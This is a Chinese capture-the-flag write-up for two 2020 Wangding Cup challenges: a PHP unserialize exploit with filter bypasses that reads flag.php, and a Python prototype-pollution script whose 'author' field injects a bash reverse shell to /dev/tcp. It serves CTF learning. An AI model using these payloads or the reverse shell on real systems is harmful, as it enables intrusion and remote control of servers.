网鼎杯 2020 青龙组

AreUSerialz

php 复制代码
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

又是一道反序列化的题目,代码很简单,绕过写,直接读flag.php文件即可,因为你写的内容永远是空的!

php 复制代码
if($this->op === "2")
    $this->op = "1";

强比较直接数字绕过即可!所以主要工作还是在下面这个waf的绕过

php 复制代码
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

我们知道在private和protected的属性被序列化的时候会出现不可见字符,但是在php7.1+的时候就不敏感了,所以我们可以直接在写exp的时候直接改成public即可!

php 复制代码
<?php

class FileHandler {

    public $op=2;
    public $filename='flag.php';
    public $content;
}
$a = new FileHandler();
echo urlencode(serialize($a));
?>

那么如果它php的版本不是php7.1+呢?那么就利用16进制进行绕过!将%00用\00代替,那么这么解析呢?将s改为S即可!

php 复制代码
<?php

class FileHandler {

    protected $op=2;
    protected $filename='flag.php';
    protected $content;
}
$a = new FileHandler();
$b = urlencode(serialize($a));
$b = str_replace('s', 'S', $b);
$b = str_replace('%00','\00',$b);
echo $b;
?>

notes

弹shell就好了

python 复制代码
import requests

r = requests.Session()
url = 'http://5daa3a2b-1248-48de-b563-0421f168055d.node5.buuoj.cn:81'

a=r.post(url + '/edit_note', data={
      'id': '__proto__',
      'author': '/bin/bash -i >&/dev/tcp/ip/port 0>&1',
      'raw': '111'
  })
print(a.status_code,a.text)
b=r.get(url + '/status')
print(b.status_code,b.text)

mvp结算画面!!!

相关推荐
消失的旧时光-19433 分钟前
Kotlinx.serialization 项目集成
android·kotlin·json
梦里不知身是客1141 分钟前
datax如何做增量导入
android
我是好小孩2 小时前
【Android】RecyclerView的高度问题、VH复用概念、多子项的实现;
android·java·网络
4Forsee2 小时前
【Android】模板化解决复杂场景的滑动冲突问题
android·java·rpc
彭同学学习日志2 小时前
解决 Android Navigation 组件导航栏配置崩溃:从错误到实现的完整指南
android·kotlin
法的空间2 小时前
让 Flutter 资源管理更智能
android·flutter·ios
江上清风山间明月3 小时前
Flutter中Column中使用ListView时溢出问题的解决方法
android·flutter·column·listview
01100001乄夵4 小时前
Android入门教程 - 第三章:Android布局全攻略
android·经验分享·笔记·学习方法·android期末学习
恋猫de小郭4 小时前
Snapchat 开源全新跨平台框架 Valdi ,一起来搞懂它究竟有什么特别之处
android·前端·flutter
我是好小孩12 小时前
【Android】布局优化:include、merge、ViewStub以及Inflate()源码浅析
android